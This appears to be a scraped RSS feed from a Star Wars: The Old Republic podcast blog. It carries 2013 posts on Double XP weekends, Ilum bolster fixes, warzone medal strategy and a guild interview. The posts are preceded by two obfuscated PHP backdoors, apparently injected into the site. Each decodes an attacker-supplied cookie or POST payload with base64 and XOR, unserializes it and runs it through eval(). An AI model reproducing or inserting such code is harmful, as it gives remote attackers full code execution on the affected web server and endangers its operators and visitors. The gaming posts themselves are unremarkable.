$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Corellian Run Radio http://corellianrun.com A Star Wars: The Old Republic™ Podcast Thu, 21 Mar 2013 14:37:50 +0000 en-US hourly 1 https://wordpress.org/?v=6.2.4 17561949 HoloNet Links http://corellianrun.com/2013/03/21/holonet-links-86/ Thu, 21 Mar 2013 14:37:49 +0000 http://corellianrun.com/?p=18690 [...]]]> HoloNet-Links-title

HoloNet Links #89

grey secant - gree eventSpring, according to the calendar, has arrived…at least in the Northern Hemisphere. I’m ready for some warmer weather. Ilum, on the other hand, is as cold as ever and speaking of Ilum don’t forget March 26th marks the end of the Gree Event. The Grey Secant is reported to return again, but no confirmation as to an exact date, yet. Another in-game event that will be heating up the servers this weekend is the start of the second Double XP Weekend.

Ilum bolster changes, Companion 101 & much more after the Jump…

 

 

 

 

Listed below are the remaining three weekends for Double XP:

XP weekendsMarch 22, 2013 to March 25, 2013

March 29, 2013 to April 1, 2013

April 5, 2013 to April 8, 2013

 

I used the post by Eric Musco again. It explains the amounts of XP bonus you can obtain during these special XP weekends.

Get ready for new Double XP weekends! | 03.13.2013, 11:05 AM
My understanding of the system is that all of our boosts will multiple from the new base of 200%, so now is the perfect time to get those Legacy perks and XP boosts. I will show you why.
Let’s say you planned to level during the March to Makeb entirely through… Flashpoints.
200% base experience
+25% Flashpoint Boost
+30% Flashpoint Legacy perk
*THIS BONUS DOES NOT STACK WITH RESTED EXPERIENCE
Since both of the boosts are being applied to double base XP, they are also doubled. Do you know what that means?!
+310% bonus experience! That is over triple the experience. Enjoying your leveling my friends!
TLDR, yes they stack and for the math nerds it is multiplicative on top of the new base of 200% (assuming I understood it all correctly)
-eric

I took advantage of this last weekend and enjoyed leveling my Imperial Agent Sniper from level 12 to level 30. I did not get to play as much as I wanted, but this helps out getting your alt characters to level cap. The only issue I had was attempting to stay properly geared for my level. Let’s just say my other characters spent time leveling crew skills…I’m glad “labor laws” are not in-game lol.

If you didn’t get to take advantage of last weekend’s XP bonus, I strongly urge you to try it this weekend. Even if playing alts is not your thing, this Double XP makes the process less like work and you are able to enjoy the class stories. If you played last weekend, what did you think of the Double XP? Let us know your thoughts on these XP bonus weekends in the comment section below.

 

 

  • SWTOR Companion 101 – Mako

On the official SWTOR website, there is a new Companion 101 blog posted. This blog talks about the Bounty Hunter class companion, Mako. Before we go any further into the blog, be warned that it contains some spoilers…you have been warned.

mako_swtor 101

A blog about me, ahh you shouldn’t have

In the blog, they talk about this young woman as a huge fan of the “Great Hunt.” Not only is she a fan, she knows all about the past winners…Mako would be consider a super-fan of this Bounty Hunter event. She is spunky, willing to do a job if the credits are good, but she still remains loyal and deep down is good at heart. For more on Mako, be sure to read the latest Companion 101 blog. It also contains images of the various customizations found in the game for Mako. If you have played the Bounty Hunter class, what did you think of Mako as a companion? Tell us your opinions about this SWTOR companion in the comment section below.

 

 

  • SWTOR music video

Below is a video created by Youtube user HunterFireFlower. It utilizes various cutscenes in many of the different class stories all set to the Breaking Benjamin song “Blow me Away.” HunterFireFlower does a great job of using some creative editing tools, effects and even text to create a very cool music video. Be sure to leave your comments on the video creator’s channel and also let us know what you think in our comment section below.

CRR video starIf you have created a SWTOR inspired video, whether it is a music video like the one above or maybe something completely different feel free to send us a link, and your creation just might be featured in an upcoming HoloNet Links article on Corellian Run Radio. Just email your links to jason@corellianrun.com or corellianrun@gmail.com.

 

 

  • Dev notes

EricMusco Erked. | 03.19.2013, 03:07 PM

I wanted to pop in and give an update on a few minor changes coming to the Cartel Market Reputation system. I know these things will not address all of your concerns but as always, keep your feedback coming. We are continuing to look at ways to improve the system.

  • Coming in Game Update 1.7.3 Cartel Market Certificates will now be bind on legacy (as with any other timing announcement this is subject to change).
  • We feel that a frustration point for some players is that the Contraband Resale Corporation is that it appears too tightly tied to the rest of the Organizations you see in the Reputation system. Sometime in the future, (no exact timing yet) we are going to move all Cartel Market Reputations to their own tab within the Legacy UI.

As always, keep the feedback coming. We are constantly exploring new ways to improve on the Cartel Market Reputation system.
-eric

 contraband resale corporation

I commend members of the community for their constructive suggestions. BioWare is listening and it seems they will be making some changes to the current system for reputation with the Contraband Resale Corporation. They are also making the Cartel certificates bind to Legacy. This is another good change that does not take away from the new system, but also allows the player to utilize the certificates as they wish within their Legacy.

 

EricMusco Can we get a response on the Ilum Boosting please? | 03.19.2013, 12:44 PM

Hey folks,
I wanted to give you all an update on this now that I have all of the information in place.
First, we are not considering this an exploit so anyone who had fear of action being taken against their characters, etc, should not be afraid. We will not be doing anything to players who used the Ilum pylons to get to 50.
I will say that player ingenuity never ceases to amaze us all. This was not a part of the intended design of the Gree event running simultaneous to the Double XP Weekends. Due to this, we are going to be having a maintenance later this week to deploy a fix to this issue.
I wanted to talk a bit about the fix itself since it will mix up things on Ilum temporarily. Our immediate fix to this issue is that for the time being, we are going to disable bolster on Ilum. This will have a couple of different affects.

  • Low level characters will no longer be treated as level 50 in regards to experience. They will now have the normal experience penalties associated to grouping with a player of a higher level. Meaning those players will now gain little to no experience when grouped.
  • Players who are levels 45-49 will have a slightly harder time completing some Gree event quests as they are no longer bolstered to level 50.

I want to again reiterate that this is only a temporary solution. We are continuing to investigate the issue and intend to have a more permanent solution in place before the Gree event returns.
-eric

 

 

Looks like there will be changes coming to the Gree Event region of Ilum before this next Double XP Weekend. The bolster system will be done away with for the remaining time of the Gree Event. When the new maintenance goes through, low level players will not have raised health when entering the event area, as in the past. This means, as Eric states, levels 45-49 will have a bit tougher time with missions and probably need to group up with other players to complete quests.

Honesty, this was a non-issue folks. Yes, low level players could get to the Gree Event area and group with other players to help kill mobs while gaining more XP. Here is why I feel it was a non-issue, one the players could not actually get or complete any of the Gree Event missions, so they were not gaining reputation for their Legacy. Next, the idea they were getting more XP and leveling faster is a crazy argument…the whole idea behind the Double XP Weekends is to help players level to 50 faster and be ready for the new expansion coming, Rise of the Hutt Cartel. Personally, I think this will hurt these players in playing their class correctly. It is easy to run through your class story quests, planet quests when you are over leveled, but when you reach level 50 the mobs are at your same level, so in the long term they might reach level 50 faster, but then what? They still are at level cap till it is raised and now they have to go back and do all their class quests.

So, now you know how I feel about it, what are your thoughts on this issue and how BioWare is handling it? Let us know your opinions in the comment section below.

 

 

 

Star Wars Community News & Events

  • Corellian Run Radio’s Weekly Nav Coordinates

Drew and Carla are back this week with Episode 91: Return of the Gree podcast. Listen to them talk about the Gree event, artwork associated with Makeb, in-depth discussion of new abilities for classes from PTS and of course plenty of humor. Be sure as you read through our writers’ articles and listen to the podcast, that you take a moment and submit your feedback and suggestions in the comment sections. We love to hear from you. Thanks and enjoy the links below.

03/15 Operation: Information – Scum and Villiany PTS Preview by Ghoztt

03/17 Episode 91: Return of the Gree – podcast

03/18 Community Checkpoint featuring Mandalorian Hunters by Jason Taylor

03/19 My Two Credits: Contraband Packs by Maer

Corellian Run Radio’s Youtube channel

Corellian Run Radio’s Facebook group

 

Would you like to write an article or produce a video guide or maybe you have another idea all together and want to have it seen on Corellian Run Radio. If you would like to help out please send us an email with your idea and a small writing sample to explain your skills and why you want to help out at Corellian Run Radio. Submit your ideas, a bit about yourself and a small writing sample to us at corellianrun@gmail.com.

 

  • Want to have your server event or guild highlighted on CRR website?

CRR Black AvatarDo you have a server event or guild you would like to have mentioned or highlighted? Please send us an email at corellianrun@gmail.com or email me at jason@corellianrun.com.  In the emails, please include the details for the event and/or guild, any possible links where people can sign up or get out more information. We would love to highlight your event or guild on Community Checkpoint!

 

  • Are you burnout in Gaming?

Have you felt playing a game, be it SWTOR or any other one, that it was more like a burden or almost like a job to login? Our very own, Drew aka Geldarion has written a great article on his blog site, The Fanatical Swordsman about this issue. He offers some things that have worked for him…from trying other games, to maybe trying to play SWTOR in a different way, like in an all Trooper class guild to run Operations. He gives other ideas for avoiding burnout. Are there some things you do to keep your gaming experience rewarding? Let us know how you “spice up” your game time in our comment section below. Please be sure to check out Geldarion’s blog for this article and others.

 

That’s it for this week’s HoloNet Links. If you have a particular link, story, video, or topic related to SWTOR we would love to hear about it! You can send those to us here at Corellian Run Radio and we can place it in a future article. Just email us the links and/or the details for the event at corellianrun@gmail.com, or you can also leave any link suggestions in the comments below, or in Corellian Run Radio’s Facebook group. Thanks and see you all next week!

 

 

 

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18690
Tactical Strike: Doing Medals The RIGHT Way http://corellianrun.com/2013/02/13/tactical-strike-doing-medals-the-right-way/ Thu, 14 Feb 2013 01:56:18 +0000 http://corellianrun.com/?p=17994 [...]]]>

By Geldarion

Briefing

Welcome to the war, comrades. You have been selected to receive the latest training and tactics fresh from the warfront. The tried-and-true strategies you are about to hear are extremely effective and CLASSIFIED. Let’s get to the briefing. Today, we will discuss the medals you earn at the end of Warzones and some of the best strategies to obtain them.

More after the Jump…

 

Though I generally don’t encourage “medal-seeking behavior” – that is, behavior that forsakes objectives to get medals – I do realize that it is a mechanic that we have in the game, and it would be good for people to learn how to most effectively obtain medals. I will talk about the system, how to understand it, and how to use it to the advantage of your gearing-up process and your teammates.

What Are Medals?

Medals are essentially rewarded for completing certain goals in a warzone. Some goals are obtainable by everyone, such as defender or attacker medals, and some are available to only a few people, like protection medals, which are only obtainable by tank classes.

So what do medals do for you?

Benefits

Valor and Commendations

Medals increase the number of warzone commendations and valor that you earn at the end of the warzone. Every medal gives you five warzone commendations and 250 valor on top of the base amounts that winning or losing gives you.

The rewards from warzones only kick in if you obtain one medal. If for some reason you do not get the one medal (for example if you backfill a warzone at the very end of the match), then you will get ZERO rewards. The good news is even getting one attacker point or one defender point will give you a medal, so pretty much doing anything will give you a medal.

Rewards from medals are capped at eight medals. You can get more than eight medals, but doing so is purely for ego’s sake.

Color of medal

The medal total on your final tally sheet turns a different color, depending on how many medals you obtained. The colors are as follows:

  • Bronze: 1-7 medals
  • Silver: 8-14 medals
  • Gold: 15+ medals

Again, these colors mean absolutely nothing except for ego. The general goal is to get to Silver, but only because that is eight medals, which means you will get your full rewards.

Unbeatable etc.

Depending on how many medals you get without dying, you can have an announcement made about you to the entire warzone. It comes in the form of “Geldarion is Unbeatable!” or something of the like. To get these announcements, you have to earn the following amounts of medals in one living streak.

  • Unbeatable: 8 medals without dying
  • Invincible: 14 medals without dying
  • Immortal: 18 medals without dying

Votes

Though unrelated to medals, it bears mentioning what MVP votes are. At the end of every warzone, you are able to vote for one person on your team (aside from yourself). Doing so will slightly increase the rewards for that person. Typically, I will vote for people that did exceptionally well at their job. This includes tanks, healers, AND damage classes. Here are some of the things I look for.

  • Healers that pass or approach 500k healing, tanks that do more than 40k protection, and DPS classes that do 300k+ damage all are good candidates for me to vote for.
  • I also look at objective points and see if there is someone worthy that did a lot for the warzone fight as a whole.
  • I will almost always vote for the person who sits at a turret and calls incs well.
  • People who let the turret get ninja’d never get a vote from me.
  • People who were helpful and/or took charge in a good way also get my vote sometimes.
  • Someone who disarmed a bomb in Voidstar will get a vote for me, if I can tell who did it.
  • People who pass and get ahead for passes in Huttball are on the top of my list.

If I am in a guild premade or in a Ranked warzone, we have a habit of arranging the table from highest medals at the top and lowest medals at the bottom, then voting for the guildmate immediately above us. The top person then votes for the bottom person. This ensures that every guildmate gets a vote. It doesn’t really matter how you organize it, as long as it is agreed upon beforehand.

Overall, votes don’t really matter, but they can improve your faction bit-by-bit. If everyone votes, that is more commendations in the pockets of possible future teammates, which means they will have better gear the next time around. Vote for the sake of your faction, even if you don’t like anyone you played with.

Kinds of Medals

There are several different categories of medals.

Damage

  • Demolisher – 2.5k hit
  • Annihilator – 5k hit
  • Combatant – 75k total damage done
  • Destroyer – 300k total damage done

Kills

  • Assassin – Solo kill
  • Commando – 10 kills
  • Soldier – 25 kills
  • Quick Draw – Killing blow

Protection

These are earned either through the use of the Guard skill or through taunting other players.

  • Guardian – 2k defense in one life
  • Paladin – 10k defense in one life
  • Shield – 5k defense total
  • Protector – 50k defense total

Healing

  • Medic – 2.5k single heal
  • Trauma Surgeon – 5k single heal
  • Healer – 75k total healing done
  • Savior – 300k total healing done

Objective – Offense

  • Offense Basic – Obtain ANY attacker points (as of Update 1.6)
  • Offense Bronze – Obtain 3k attacker points
  • Offense Silver – Obtain 5k attacker points
  • Offense Gold – Obtain 7.5k attacker points
  • Offense Platinum – Obtain 10k attacker points
  • Offense Diamond – Obtain 15k attacker points

Objective – Defense

  • Defense Basic – Obtain ANY defender points (as of Update 1.6)
  • Defense Bronze – Obtain 3k defender points
  • Defense Silver – Obtain 5k defender points
  • Defense Gold – Obtain 7.5k defender points
  • Defense Platinum – Obtain 10k defender points
  • Defense Diamond – Obtain 15k defender points

Objective – Completion Medals

  • Dauntless I – 10 minute victory
  • Dauntless II – 9 minute victory
  • Dauntless III – 8 minute victory
  • Dauntless IV – 7 minute victory
  • Dauntless V – 6 minute victory
  • Dauntless VI – 5 minute victory

NOTE: These medals are only granted to the winning team.

 

How Do I Get Medals?

So now that we have a comprehensive list of medals that are possible, how do we get them? Remember, only eight are necessary for full rewards, but if you are totally stomping the other team, then by all means try to get more!

DPS Classes

DPS classes specialize in damage, obviously, so the first choice is to go for the damage-based medals. Pretty much all DPS classes are capable of getting the killing blow, 2.5k hit, and 75k total damage medals in every single warzone. The kill-total medals are usually achieved, especially in longer warzones. The Soldier medal is a little difficult at 25 kills, and even the Commando medal at 10 kills can be difficult depending on how many healers are on the other team.

Generally, depending on where you are fighting, DPS classes will have no problem achieving the objective points medals. At an objective that you are defending, such as a friendly turret, just spending time in the area grants points. You are also given points for every kill that involves you.

Special circumstances can produce a few more medals in addition to the standard ones above. A good performance against a team with a lot of healing in a long warzone will usually net you the Destroyer (300k) medal.

 

Voidstar is especially good for large damage totals if it goes the full time

Voidstar is especially good for large damage totals if it goes the full time

 

If you strike out on your own for some reason (not recommended most of the time), you might grab the Assassin medal for a solo kill. Landing a critical hit on an unprepared light or medium armor player with an already hard-hitting skill will sometimes result in a 5k+ critical hit.

Gunslingers and Snipers are currently capable of obtaining the 2.5k heal medal using Cool Head/Adrenaline Probe while in Saboteur/Engineering spec. I believe the medal may be counting the entire skill as one heal, and it has to crit. I have also reached the 75k healing medal as a Gunslinger once while in a particularly rough warzone.

 

75k healing

Healing Classes

All healing classes have DPS specs, so they will obviously be able to get the medals from the DPS section if they want to, but for healing specifically, here are some tips on getting the healing medals.

The 2.5k heal and 75k total healing medals are almost certain for a healing class. In fact, the 2.5k heal medal is a pretty standard one even when specced DPS if you cast your heal on yourself occasionally while fighting. It is not uncommon even in short warzones to reach the 300k healing mark as well. The Trauma Surgeon (5k heal) medal is especially easy to get on players that take incoming healing boosts in their talent trees, which not all do.

Another, little-noticed fact is that most of the time, if anyone gets the Commando or Soldier medals, the healers generally do as well. This is because an enemy killed by a player receiving heals counts towards the healer’s kill total.

Tank Classes

The tank classes have the easiest time getting the eight medals required for full rewards. Even while DPS-specced, tank classes have access to their taunts, which make enemies do 30% less damage to players that are not you. In a big bunch of enemies, popping off your AoE taunt in the middle of them can get you two or three medals almost instantly if they are targeting someone besides you. In fact, the protection medals are the only medals that are easier to get the better your opponents are geared. Their hard hitting skills will add more points to your protection score, making it more likely that you will get all of that protection in one life.

Guarding friendly players is the other way to get protection points. Without a lot of shield rating, absorption rating, or health, you could die before you get the 10k protection in one life medal if they are really focusing your guarded target.

General Tips

Here are some tips to remember, regardless of your class.

  1. Use off-spec skills, i.e. heals for damage-specced healer classes and taunts for damage-specced tank classes. This not only contributes to your team, it also racks up additional medals.
  2. Pay attention to objectives. Attacker and Defender points will start flooding in if you pass the Huttball to teammates; prevent captures of turrets, doors, and pylons; kill ball-carriers and orb-carriers; and guard an objective without getting pulled away by sneaky people trying to ninja a node.
  3. Focus fire targets to get the kill medals when enemy healers are around. Mark and kill enemy healers first and foremost for maximum kills.
  4. Learn your class, your offensive cooldowns, and your hardest-hitting skills for that elusive Annihilator medal. Also, take advantage of non-bubbled targets.

 

Again, the main reason the medals are in place is to encourage good behavior. I have found that if you are actively seeking to win the warzone, then you usually get your eight medals AND you win. Just going for medals can get you the eight you need, but it often results in a loss. Because the base Valor and commendations for a win is larger than that for a loss, even if you only get 5-6 medals, you still get more rewards for a win. Plus any win that is under ten minutes racks up additional completion medals.

 

Use this information well, soldier. Fight for victory and die with honor. Till our next briefing, DISMISSED!

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17994
HoloNet Links http://corellianrun.com/2013/02/07/holonet-links-80/ Thu, 07 Feb 2013 17:08:33 +0000 http://corellianrun.com/?p=18189 [...]]]> HoloNet-Links-title

HoloNet Links #83

In the latest Developer Blog, we found out more about the Galactic Reputation system. We know the different levels from past posts, but they have given more details on the four organizations that reputation can be earned and more how the reputation points will work. Players also know how they can earn reputation. This will happen through various heroics missions, weekly missions, heroic space missions, and also through the new event titled, “Relics of the Gree.” We will take a closer look at more of the details from the Developer post.

Details on Galactic Reputation, fan-fiction & more after the Jump…

 

 

 

 

  • Galactic Reputation details

Legacy Titles

Besides the reputation system itself being new, they will be adding Legacy titles to the game when Patch 1.7 goes live. These will appear in place of where a player’s Legacy name would appear. These will give players another way of customizing how your character’s name appears somewhat like a badge of honor.

reputation_gui

Reputation Legacy Bound

Many look at this as another grind like Dallies and yes, it is. However this grind for reputation with the different organizations carries over your entire Legacy. Yes, that means if you go all the way up to the Legend level with an organization, that level is already unlocked for any of your characters within a given Legacy. Along with that, any titles or unlocks will be available for your entire Legacy.

Reputation & the Galactic War

How can my Imperial characters help any of my Republic characters in the Reputation System? BioWare has given us the answer, opposite faction characters can only help raise your reputation with organizations, so you will never lose any of those reputation points earned…for example if you are playing as an Imperial and go out and kill Republic forces you will not lose any reputation with any Republic based organization. BioWare also states that in the Heroic Space Missions, you can level up the opposing faction by leveling up the faction through completing given missions.

swtor-space-heroic-missions

Earning Reputation Points

In SWTOR, helping reputation organizations will reward you with Reputation Trophies. These are considered consumables, according to the blog. You click on the trophies, and then the points are given according to the level of trophy it is. The trophies range in size, from small to largest – green Premium, to blue Prototype, and finally purple Artifact. Given there is a weekly limit to the number of Reputation Points you can earn with each organization, you might choose to consume a certain trophy and save others after the weekly reset occurs.

reputation trophies

Subscriber Bonus

As stated and seen in pictures in the article, players will be able to purchase reputation bonuses through the Cartel Market. BioWare is offering another benefit to subscribers, with a +50% bonus on all Reputation Points received from missions or events.

Reputations in Patch 1.7

The following are the four organizations that will award Reputation Points when Patch 1.7 goes live:

reputation_gui2The Voss – WEEKLY mission: Defending Voss-Ka & Voss Heroic Missions

The Gree Enclave – Relics of the Gree event missions & event bosses

Republic Fifth Assault Battalion – WEEKLY mission: Section X Crisis & Section X Missions

Imperial Guard on Belsavis – WEEKLY mission: Section X Crisis & Section X missions

Republic Hyperspace Armada – Hard Mode Space Missions

Imperial First Mobile Fleet – Hard Mode Space Missions

 

 

So those are the details that we know, so far, about the Galactic Reputation System coming to SWTOR in Patch 1.7. Now I’m going to offer my opinion on a few things relating to the Galactic Reputation System. No, it is not to bash BioWare, in fact I love reputation systems in my MMO games. That said I would change the organizations that they chose to implement first into the game. If we look at the current organizations, most are for high level characters. Before I go on, let me say, giving content to endgame players is a good thing, there are players with level 50 characters looking for things to do. However, if you are going to build a reputation for a character shouldn’t it be progress as the player levels? I’m not saying the number of organizations is wrong, but I think you could have had one organization based on the factions’ homeworlds. Okay my second organization, I would pick the planet Tatooine. This planet is not only ironically known by Star Wars fans, but it is vastly under used in my opinion. The planet offers many possible organizations to use, the Hutts, the Czerka Corporation, or heck give a little love to the Jawas lol. The other nice thing is the planet level is around 24-28, so it falls at the midpoint of your character’s journey to level 50. The final two for me would be to keep the Gree Enclave and the Voss. Again both the planets Voss and Ilum (location of the Gree event) are a couple of underutilized planets and two of the more beautiful planets in the game, at least in my opinion.

Now, I hear some of you saying, “I thought you liked them giving content to endgame player,” yes I did and I do. Here is the twist I would add content for endgame players and still keep the planets/organizations I mentioned…Hardmode Heroics. They did it with Space Missions and Flashpoints. It means they could utilize existing content…crank up the health points of the NPCs, and throw in a few game mechanic changes to keep the players on their toes. Obliviously, this will not happen when the Galactic Reputation System goes live, but maybe any future organizations will include some located for those not at endgame or leveling an alt. What are your thoughts on the reputation system? Please let us know in the comment section below.

 

 

  • Upcoming Community Events

Last Friday was another Community Round-Up. Below are some events that were listed that are either ongoing or have not happened yet. Be sure to read through the Community Round-Up for other events that might be on your server.

Nothing beats a friendly Community get together :)

Nothing beats a friendly get together 🙂
Are you ready to join the fun?

[Jedi Covenant] Unicorn Stampede has a legit ranked team.: “Hey guys want to throw this out here Unicorn Stampede has a group for ranked warzones we will be queuing at around 8:00 pm till 10:30 pm EST on Wed and/or Friday if any of the guilds would like to come out for some friendly competition it would be more than appreciated!”

[Jung Ma] Re-Occuring events on Jung Ma: “This is a compilation of ALL the re-occurring events on the Jung Ma server. These events can be anything from Open World PvP, Rated Warzone runs, Operation Runs, or Roleplay and social events.”

[Master Dar’Nala] Team Update: “ANNOUNCING SEASON 1 OF THE R.A.W CHAMPIONSHIP. Monday and Thursday Nights 8:30PM AEDT. Two games to be played each night, total of 4 games per week. We would like to start on Monday 11th February.”

[Prophecy of the Five] Imps Announcing the first DARK TOURNAMENT: “Venue and Time The tournament will be held in the Voss neutral grounds on Sunday, February 10th with the first Match beginning at 1:00PM Eastern Standard time.”

[The Bastion] Decension (Imperial guild) World PVP EVENT!: “Welcome sentients and worldly beings. Descension of the Bastion (an Imperial Guild) will be hosting world PVP on different planets on Saturday evenings. Last Saturday night we raided the Republic base on Section X until we were finally pushed out by a force larger than ours. After regrouping we were able to push the Republic back from Dread Tooth, to their base several times. We plan to go back to Section X, but will try to change up the scenery every couple of weeks. If any Republic guilds would like to coordinate please feel free to contact us in game. My character is Bracus; you may also contact Steaxy, Lowk, or Sinaster. World PVP has been sorely lacking in this game and we look forward to making World PVP a permanent lifestyle on the Bastion.”

[The Ebon Hawk] The Ebon Hawk Bounty Board: “Hello everyone. I’m AlyxDinas. Back on Lord Adraas, I ran a player bounty board which offered missions for IC open world PvP and even PvE. The original idea came from my friend Darth_Slaine, an Ebon Hawk player. He ran his own board as well for a time. With his permission, I’ve been allowed to continue the process. All participation is optional but it can lead to some really interested and suspenseful RP. I monitor the board close, keep it updated often, and generally do my best to provide a fun little “game” for people to participate in. The system and its rules seem daunting but they’re not too difficult in practice. I will do my best to keep things updated here and on the various Ebon Hawk community forums.”

[The Harbinger] 1 v 1 Champions Tournament: “Hey it’s your friendly neighborhood laughing box Chukles. On 2/23/2013 which is 3 weeks from this upcoming Saturday I will be hosting the first ever 1 v 1 Champions Tournament. Anybody can enter and the prize fund will end up being 10 million credits. Top 4 spots will be given a portion of the prize fund. Buy-ins for the tournament will be at 100 thousand credits. We will be doing a double-elimination format for this event. So come one and come all, to get your chance to be the champion of the Harbinger! (PS depending on how many people show up, that will determine the prize fund. I was looking at getting enough people interested to get to the 10 million prize fund. If we have more people than expected the prize fund can easily get over 10 million.)”

[The Shadowlands] Seeking ALL Republic & Imperial Ranked Warzone Players: “This thread will have an updated roster after players reply back with CLASS+SPEC+FACTION+CHARACTER NAME they would like to play for ranked warzones. If teams are looking to get Ranked going, we can utilize this list and check to see if any players are available at that time to fill the spots of groups being made.”

 

 

Star Wars Community News & Events

  • Corellian Run Radio’s Weekly Nav Coordinates

As you read through our writers’ articles and listen to the podcast, take a moment and submit your feedback and suggestions in the comment sections. We love to hear from you. Thanks and enjoy the links below.

02/01 Operation: Information – Progression: Want To Versus Able To by Ghoztt

02/04 Community Checkpoint featuring Descension by Jason Taylor

Corellian Run Radio’s Youtube channel

Corellian Run Radio’s Facebook group

 

  • Want to have your server event or guild highlighted on CRR website?

CRR Black AvatarDo you have a server event or guild you would like to have mentioned or highlighted? Please send us an email at corellianrun@gmail.com or email me at jason@corellianrun.com.  In the emails, please include the details for the event and/or guild, any possible links where people can sign up or get out more information. We would love to highlight your event or guild on Community Checkpoint!

 

  • SWTOR Fan Fiction

This week we have another fan fiction offering from a SWTOR community member, RomeoCaelia. Part one of this story can be found at the following link, from the SWTOR fan fiction forum. The author uses the backstory to set the scene for part one, and also lays the groundwork for the next parts of the story. I will not spoil anything, however, I will say I enjoyed reading it and found it a refreshing take on the SWTOR universe. I’m looking forward to the journey as this story seems to have a lot of potential.

 

 

  • SWTOR Music video

We have another example of fan created content posted in the SWTOR forums. Forum user FaustusXIII has posted several music videos in the forums and recently added two new ones this week. I will warn you in advance that the following music video does contain some scenes taken from the Imperial Agent’s class quest, so you have been warned about possible spoilers. That said sit back and enjoy the video editing skills of FaustusXIII and the music by Nero.

 

 

That’s it for this week’s HoloNet Links. If you have a particular link, story, video, or topic related to SWTOR we would love to hear about it! You can send those to us here at Corellian Run Radio and we can place it in a future article. Just email us the links and/or the details for the event at corellianrun@gmail.com, or you can also leave any link suggestions in the comments below, or in Corellian Run Radio’s Facebook group. Thanks and see you all next week!

 

 

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Community Checkpoint http://corellianrun.com/2013/01/28/community-checkpoint-25/ Mon, 28 Jan 2013 15:50:29 +0000 http://corellianrun.com/?p=18076 [...]]]> Community Checkpoint title box

Highlighted Club & Guild

  • Dark Jedi Brotherhood – Star Wars club & Imperial guild

When looking for a group to interview for this week’s article, I came across the Dark Jedi Brotherhood on Twitter. I will admit when I first sent out the invite I thought this was just another guild. It was when I started doing additional research that I realized they were much more. Today we will look into a society that was formed around the mid-nineties that had very little to do with gaming, as far as video games. We will see that though they have evolved into having a gaming side, including a guild in SWTOR, there is much more to their Star Wars based society.

Two of their officers gladly answer our questions after the Jump…

 

 

 

 

 DJB website background

 

Please welcome Muz and Archangel to Community Checkpoint. Muz is Grand Master Muz Ashen, the leader of the Dark Jedi Brotherhood club as a whole. Archangel is the second-in-command of the SWTOR guild “Dark Jedi Brotherhood”

 

 

  • Community Club/Guild Q&A

Can you explain more about the Dark Jedi Brotherhood? How does this “society” fit in the SWTOR game?

Muz: The Dark Jedi Brotherhood(DJB) is a Star Wars Club.  We do gaming, fiction, and graphics competitions, and have a very well developed backstory that our members participate in building.  The brotherhood fitting into TOR is rather interesting, because the club is set many years after the movies, where TOR is obviously set in the Old Republic years.  As a result, some players use the game to roleplay ancestors of their Brotherhood characters, or just ignore the timeframe and enjoy it as a game.

7

Action Pose while we wait for the balloon

 

 

How did the group get started? What all games, activities and events, both in-game and real world, does the Dark Jedi Brotherhood take part in?

Muz: The Brotherhood was founded back in the mid-nineties, as a chat-based group for loose RP.  It evolved to take advantage of more gaming stuff with the advent of games like TIE fighter, Jedi Knight and the like.  With less and less multiplayer LucasArts games being released (TOR being an exception), the Brotherhood has done a lot more with the fan-fiction side of things.  We have had an unofficial presence at things like GenCon and DragonCon, but it’s more due to having many members going to the events.  One of the biggest things that we do nowadays is run big club-wide events called ‘Vendettas’, which pit our sub-units against each other in both gaming and creative-based competition.  There’s a progression to our storyline that happens with these events, and we have been putting some comic books out that help explain it to the members.

 

 

 

